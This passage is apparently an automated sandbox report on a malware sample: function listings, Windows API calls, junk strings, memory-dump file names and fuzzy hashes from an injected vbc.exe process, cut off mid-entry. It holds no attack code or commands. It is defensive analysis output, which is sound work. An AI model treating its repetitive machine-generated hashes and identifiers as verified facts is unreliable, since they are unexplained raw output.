Opcode Fuzzy Hash: ba1a1b08f6e100426309d20b2d21870daea563b49f9ac42d4944752a65ffcd9e
Instruction Fuzzy Hash: A7215E34A042189BCF10EF65C4819DEB7B5EF49328F05886DEC48A7302D734AE45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0043CB70 Relevance: 7.5, APIs: 5, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 0043CB9C
TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,0043CDB0), ref: 0043CBAA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,0043CDB0), ref: 0043CBE0

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphore
String ID:
API String ID: 2256031600-0
Opcode ID: bb07f3f7f4dc5068624a44074fe983a0eb26aa91448149581a0ce10dfb3ee5b0
Instruction ID: 08d69dea643b176e6f7e2f13447bef94cdabe7015c0fb0cd38c2ec7d1e75eb28
Opcode Fuzzy Hash: bb07f3f7f4dc5068624a44074fe983a0eb26aa91448149581a0ce10dfb3ee5b0
Instruction Fuzzy Hash: 81F036704087018BD710BF78E54A31A7EF5AF14364F508A5DE059862A2E77C5449BB67

Uniqueness

Uniqueness Score: -1.00%

Function 00437B50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00437BDD

Strings

@, xrefs: 00437C28

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: QueryVirtual
String ID: @
API String ID: 1804819252-2766056989
Opcode ID: 6d1308848d1f6a4f8bd822aace4c54650efcdb44f7a65f86ffd28d2bde7794a7
Instruction ID: 7e864f555a9fd4ef0afa2be50278df71071ed5a557942ea7cb02cea778657668
Opcode Fuzzy Hash: 6d1308848d1f6a4f8bd822aace4c54650efcdb44f7a65f86ffd28d2bde7794a7
Instruction Fuzzy Hash: 0541AFB15043059BC710DF69E88461AFBF0FF98314F55991EE88C8B350E334E884DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004375B0 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00437635
memcpy.MSVCRT ref: 00437650
free.MSVCRT(?,?,?,?,?,?,?,?,?,0044A3CC), ref: 0043765A

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 41ad4994f9a1e91553e1b1c8a6aa31fe3f41f3eca91d96b8e60348c70e510d6f
Instruction ID: 669320ed2cd28ed37da6c1212fcc74435a4c239ee4c88381fe6069795e1464fe
Opcode Fuzzy Hash: 41ad4994f9a1e91553e1b1c8a6aa31fe3f41f3eca91d96b8e60348c70e510d6f
Instruction Fuzzy Hash: D4318DB160DB028BD3309F2A949132BBBE1AFD9374F15191EE9D447341E379C8468B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0C0 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 0043D114
MultiByteToWideChar.KERNEL32 ref: 0043D157

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 0249055815befe2f66d2affdc3bcc83f09ec13d6f58b2338661d244266011d83
Instruction ID: ec48087a89c2cbcf165d355115f96e064cb4ed563f37d10abdd9b35548aeb449
Opcode Fuzzy Hash: 0249055815befe2f66d2affdc3bcc83f09ec13d6f58b2338661d244266011d83
Instruction Fuzzy Hash: 424127749083418FDB10DF28E48421BBBE0BF8A314F04895EF8948B391D37AD849DB47

Uniqueness

Uniqueness Score: -1.00%

Function 0043B4F0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,20247C8B,?,004485F0,474E5543,0043B74E), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: feaf3f593955015f9d539d29593731ee720f013e173f42cdf62d820f15fadea6
Instruction ID: 490d23ee2ca4bfc371ed1b7a41f90df4e114282198f547a3ff433ae82083dc02
Opcode Fuzzy Hash: feaf3f593955015f9d539d29593731ee720f013e173f42cdf62d820f15fadea6
Instruction Fuzzy Hash: 0D212B327096248FD700CF59E8817A573A6EBC531CF1D857EEA488B306C379A80697B5

Uniqueness

Uniqueness Score: -1.00%

Function 004465F0 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000000,004467E9), ref: 00446617
EnterCriticalSection.KERNEL32(?,?,?,00000000,004467E9), ref: 00446648

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: CriticalEnterSectionSleep
String ID:
API String ID: 3080175056-0
Opcode ID: d9575c735bda6666ff438e67c13fa3c976bfd54ae2441ac20b9ec660268c043d
Instruction ID: 944fab4fd5d07138e86e876b7755af1084873b9a89a95d0bccaf9f8bb9955b52
Opcode Fuzzy Hash: d9575c735bda6666ff438e67c13fa3c976bfd54ae2441ac20b9ec660268c043d
Instruction Fuzzy Hash: 9C1170B04042008BEB21BB3CB98A56A7BF4EF55304F57042AC44AC3325DA39D8C9FA67

Uniqueness

Uniqueness Score: -1.00%

Function 004380C0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00438327,?,?,?,?,?,00437988), ref: 004380CE
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00438327,?,?,?,?,?,00437988), ref: 004380F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00438327,?,?,?,?,?,00437988), ref: 004380FC
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,00438327,?,?,?,?,?,00437988), ref: 0043811C

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 378afe980ff9d2d26d4eafdffe8eb247bad629d9071b939fc0f1c29c248d3c82
Instruction ID: 62d9a8141d6be9b6475bcd706fd1f0e7d0abb14307d225010bce018e2805ff66
Opcode Fuzzy Hash: 378afe980ff9d2d26d4eafdffe8eb247bad629d9071b939fc0f1c29c248d3c82
Instruction Fuzzy Hash: F5F0A4B55003148BCB107F69FC8591BBBB8BE58340F0645ADED4847316EB34E849EBA3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 101104, Parent PID: 5816COMMON

Execution Graph

Execution Coverage:	16.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	70
Total number of Limit Nodes:	9

Executed Functions

Function 09F78C20 Relevance: 6.5, Strings: 5, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1, xrefs: 09F78D39
h;|W, xrefs: 09F78E1E
n%+, xrefs: 09F78D79
v, xrefs: 09F78D91
n%+, xrefs: 09F78D62

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: 1$h;|W$n%+$n%+$v
API String ID: 0-1450004359
Opcode ID: daff40545b7c5c2cd895f6d6cdc8e4334468191fb761f6039c3cee137019e811
Instruction ID: 21396e81d9e48d64f020b4521fdfbe5cb81aae0b4df34c5d205e875f62421ba2
Opcode Fuzzy Hash: daff40545b7c5c2cd895f6d6cdc8e4334468191fb761f6039c3cee137019e811
Instruction Fuzzy Hash: DF81F375E06218CBCB08CFE6D9885EDFBF2AF8D390F24A02AD405BB254D73499458B18

Uniqueness

Uniqueness Score: -1.00%

Function 09F78C10 Relevance: 6.5, Strings: 5, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1, xrefs: 09F78D39
h;|W, xrefs: 09F78E1E
n%+, xrefs: 09F78D79
v, xrefs: 09F78D91
n%+, xrefs: 09F78D62

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: 1$h;|W$n%+$n%+$v
API String ID: 0-1450004359
Opcode ID: e1265045b3aab8deb38ca14cb1d2fd7b936053bc2ea4614706d77391442cc453
Instruction ID: 7801b02dc257324c9bdf75e3a116d516e5544824d390e1f7218b423e6319af90
Opcode Fuzzy Hash: e1265045b3aab8deb38ca14cb1d2fd7b936053bc2ea4614706d77391442cc453
Instruction Fuzzy Hash: 62810375E06208CFDB08CFE6D9885DDFBF2EF89390F24A06AD405BB258D73499458B19

Uniqueness

Uniqueness Score: -1.00%

Function 09F7F570 Relevance: 5.5, Strings: 4, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8%a<, xrefs: 09F7F8B4
!b-, xrefs: 09F7FCFE
*Sk, xrefs: 09F7F7E5
j!;3, xrefs: 09F7FB2C

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: !b-$8%a<$j!;3$*Sk
API String ID: 0-2534451435
Opcode ID: 74f03a471afa0b38303a6249e8527d05a279950c11176d4331e260dcf3ba202b
Instruction ID: 8566e1bd6db0e88ce22b501d406ff888687ab83172027b24fe36ff0c103cdb8b
Opcode Fuzzy Hash: 74f03a471afa0b38303a6249e8527d05a279950c11176d4331e260dcf3ba202b
Instruction Fuzzy Hash: FD220270E15229CFDB68CFA5D980B9DFBB2BB89340F1091AAD509A7354DB309A85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 09F7EB90 Relevance: 5.5, Strings: 4, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v"t, xrefs: 09F7F350
d2Y, xrefs: 09F7EC29
v"t, xrefs: 09F7F349
l=_z, xrefs: 09F7EF43

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: d2Y$l=_z$v"t$v"t
API String ID: 0-1291216886
Opcode ID: 26f7e57b18acfa30a70c802b64878f86c615ba655dd3a4fcaaac8e064e1b949e
Instruction ID: 22dc489d8baff9b7b13160aa712059bb1dc3dc8ad3d56c4635b27ebc08220f94
Opcode Fuzzy Hash: 26f7e57b18acfa30a70c802b64878f86c615ba655dd3a4fcaaac8e064e1b949e
Instruction Fuzzy Hash: 8722F274E05228CFDB68CFA5D990BDDFBB2BB89300F1091AAD509A7264DB305E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 09F7F55F Relevance: 5.5, Strings: 4, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8%a<, xrefs: 09F7F8B4
!b-, xrefs: 09F7FCFE
*Sk, xrefs: 09F7F7E5
j!;3, xrefs: 09F7FB2C

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: !b-$8%a<$j!;3$*Sk
API String ID: 0-2534451435
Opcode ID: 3e3541b0709a8e6129859f7c0716165bebecd436a9e1f7610fec062d8f3bbfc6
Instruction ID: 78822fb5df0033ccc1b5242ab055cb933466f7b6a39760a46da923d16401cc7c
Opcode Fuzzy Hash: 3e3541b0709a8e6129859f7c0716165bebecd436a9e1f7610fec062d8f3bbfc6
Instruction Fuzzy Hash: D9220174E15229CFDB68CFA5D980B9DFBB2BB89300F1091AAD509A7354DB309A85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 09F7EB80 Relevance: 5.5, Strings: 4, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v"t, xrefs: 09F7F350
d2Y, xrefs: 09F7EC29
v"t, xrefs: 09F7F349
l=_z, xrefs: 09F7EF43

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: d2Y$l=_z$v"t$v"t
API String ID: 0-1291216886
Opcode ID: 9c4c4fdc5526f885c32e485a6a7fe636df92d0963317adf7d6ec21f96c523d0d
Instruction ID: 79430955294c260803627ff932d4163e5a95f38a79b03809c99a5eff7a002d69
Opcode Fuzzy Hash: 9c4c4fdc5526f885c32e485a6a7fe636df92d0963317adf7d6ec21f96c523d0d
Instruction Fuzzy Hash: 4322E374E05228CFDB68CFA5D890BDDFBB2BB89300F1091AAD509A7264DB345E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 09F7A598 Relevance: 4.1, Strings: 3, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$h), xrefs: 09F7A77B
`:U4, xrefs: 09F7A68C
>Of, xrefs: 09F7AB68

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: $h)$>Of$`:U4
API String ID: 0-324328424
Opcode ID: 1172414c332a0d4c2e9fafc25f6353b655bd6a8b67f049d06e923c2f58d909f6
Instruction ID: cd118de6915ae3bdf3641cdaa08ee894cbdede1ec0e897dd76d197976adf906d
Opcode Fuzzy Hash: 1172414c332a0d4c2e9fafc25f6353b655bd6a8b67f049d06e923c2f58d909f6
Instruction Fuzzy Hash: CCF1EC75E05269CFDB64CF64CD84BDEBBB2BB89300F0191EAD909A7250E7309A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 09F7A5A8 Relevance: 4.1, Strings: 3, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$h), xrefs: 09F7A77B
`:U4, xrefs: 09F7A68C
>Of, xrefs: 09F7AB68

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: $h)$>Of$`:U4
API String ID: 0-324328424
Opcode ID: cbbe196c868f1c803042cef92e13e9956657e75153dc7263bcb81a22f7a9ddc7
Instruction ID: 69b7f8e56bfaa16f9c2132d4e3b639be5c18272de2b048e859a9b1d87540f896
Opcode Fuzzy Hash: cbbe196c868f1c803042cef92e13e9956657e75153dc7263bcb81a22f7a9ddc7
Instruction Fuzzy Hash: 14F1CC75E05269CFDB68CF64CD84BDEBBB2BB89300F0191EAD509A7250D7309A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 09F79F20 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Krjj, xrefs: 09F7A08E
-'k, xrefs: 09F7A15F
ye<=30<, xrefs: 09F7A1B1

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: -'k$Krjj$ye<=30<
API String ID: 0-1267203571
Opcode ID: 20668d5831df3dcb6dca17621c23701bd9a2b75783ed39a19b259891ddfe4a97
Instruction ID: 4da387f9d23a1f0c2c42a52c513e06591d9714c6300e9084bbd7d352d0f1ee76
Opcode Fuzzy Hash: 20668d5831df3dcb6dca17621c23701bd9a2b75783ed39a19b259891ddfe4a97
Instruction Fuzzy Hash: 1391F475E052188FDB08CFA9D940A9EFBF2BF89300F15D52AD519AB368D734A842CF14

Uniqueness

Uniqueness Score: -1.00%

Function 09F79F16 Relevance: 4.0, Strings: 3, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Krjj, xrefs: 09F7A08E
-'k, xrefs: 09F7A15F
ye<=30<, xrefs: 09F7A1B1

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: -'k$Krjj$ye<=30<
API String ID: 0-1267203571
Opcode ID: e052ddb6c49fb3ffd3dbf9cb71ca5f89d7e35129aeacf7e999f1351c24017e1a
Instruction ID: 3643ee3c6fc63ebc5844cd91dbdba9bb68d7e519929de35bedf47f10568e6fc4
Opcode Fuzzy Hash: e052ddb6c49fb3ffd3dbf9cb71ca5f89d7e35129aeacf7e999f1351c24017e1a
Instruction Fuzzy Hash: 1891E475E012589FDB08CFA9D940A9DFBF2BF89300F14D52AD515AB368D734A842CF14

Uniqueness

Uniqueness Score: -1.00%

Function 09F52DE0 Relevance: 2.9, Strings: 2, Instructions: 445COMMON

Download Yara Rule

Strings

(el, xrefs: 09F52E7C
-Iui, xrefs: 09F5332A

Memory Dump Source

Source File: 00000002.00000002.336267218.0000000009F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f50000_vbc.jbxd

Similarity

API ID:
String ID: (el$-Iui
API String ID: 0-2410444530
Opcode ID: e6b9a6f641b8d20a2fe955bcc6dad07b4215d5895255f9a0a19858250b22d298
Instruction ID: 9adf40ccfc59df2d0fdfd3d90646c15cb65edb895daa8edafc3ebde2bc2797a8
Opcode Fuzzy Hash: e6b9a6f641b8d20a2fe955bcc6dad07b4215d5895255f9a0a19858250b22d298
Instruction Fuzzy Hash: 2D121674E05219CFDB14CFA9D980BDDB7B2BB89340F2095AAC90AB7254DB709E81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 09F505C8 Relevance: 2.8, Strings: 2, Instructions: 326COMMON

Download Yara Rule

Strings

gdf, xrefs: 09F50EBC
<#7`, xrefs: 09F50DB2

Memory Dump Source

Source File: 00000002.00000002.336267218.0000000009F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f50000_vbc.jbxd

Similarity

API ID:
String ID: <#7`$gdf
API String ID: 0-2150879871
Opcode ID: 99317031cea6203f30c56243c0e9e794b974280fa7dd7f78576fe2da69eedcba
Instruction ID: 0b925f8d9bd65c515cff224a5036a497e1d4a7bbcfa2f086bee93852aced264e
Opcode Fuzzy Hash: 99317031cea6203f30c56243c0e9e794b974280fa7dd7f78576fe2da69eedcba
Instruction Fuzzy Hash: 72E12674E01229CFDB28CF65D950B9DBBB2FB89300F14D5AAD90EA7314DB309A858F41

Uniqueness

Uniqueness Score: -1.00%

Function 09F505B8 Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

gdf, xrefs: 09F50EBC
<#7`, xrefs: 09F50DB2

Memory Dump Source

Source File: 00000002.00000002.336267218.0000000009F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f50000_vbc.jbxd

Similarity

API ID:
String ID: <#7`$gdf
API String ID: 0-2150879871
Opcode ID: f2f7225a7f8141041fd6778a0efaf9063ae9b477f385bd7eec5d2495ea7155d8
Instruction ID: ed0477de14803bc7440778dd0e8c7aca18232a41f1ca83820879d0a8b1bde8db
Opcode Fuzzy Hash: f2f7225a7f8141041fd6778a0efaf9063ae9b477f385bd7eec5d2495ea7155d8
Instruction Fuzzy Hash: 4CD1E474E01229CFDB68CF65D940B9DBBB2FB89300F14D5AAD90EA7354DB309A858F41

Uniqueness

Uniqueness Score: -1.00%

Function 09F54428 Relevance: 2.8, Strings: 2, Instructions: 303COMMON

Download Yara Rule

Strings

J!_?, xrefs: 09F54853
|A, xrefs: 09F546C4

Memory Dump Source

Source File: 00000002.00000002.336267218.0000000009F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f50000_vbc.jbxd

Similarity

API ID:
String ID: J!_?$|A
API String ID: 0-4215677515
Opcode ID: acba4163a7bb54cbde77bfbcef12fd3555e182238711c3199f0aaabccf3cb877
Instruction ID: 861ba4d8b539695c793602d5c8ae5ac9f38448acc2dc5cf0dbebb60cb490e4ba
Opcode Fuzzy Hash: acba4163a7bb54cbde77bfbcef12fd3555e182238711c3199f0aaabccf3cb877
Instruction Fuzzy Hash: E5E1D374E01258CFDB64DFA5D944BDDBBB2BF89300F2091AAD90AA7254DB305A85CF11

Uniqueness

Uniqueness Score: -1.00%

Function 09F54438 Relevance: 2.8, Strings: 2, Instructions: 301COMMON

Download Yara Rule

Strings

J!_?, xrefs: 09F54853
|A, xrefs: 09F546C4

Memory Dump Source

Source File: 00000002.00000002.336267218.0000000009F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f50000_vbc.jbxd

Similarity

API ID:
String ID: J!_?$|A
API String ID: 0-4215677515
Opcode ID: f3967b35eafd637e0927a31ed00ac8d3e97156d0aab7130fc16c2992c09da970
Instruction ID: 1e1b888219082c07b4cb180b2f6d85fdd831c0e4e2df9c753d14ebdba154243a
Opcode Fuzzy Hash: f3967b35eafd637e0927a31ed00ac8d3e97156d0aab7130fc16c2992c09da970
Instruction Fuzzy Hash: 1FE1D374E02258CFDB64DFA5D944BDDBBB2BB89300F2091AAD90AA7354DB305A85CF11

Uniqueness

Uniqueness Score: -1.00%

Function 09F50A21 Relevance: 2.8, Strings: 2, Instructions: 280COMMON

Download Yara Rule

Strings

gdf, xrefs: 09F50EBC
<#7`, xrefs: 09F50DB2

Memory Dump Source

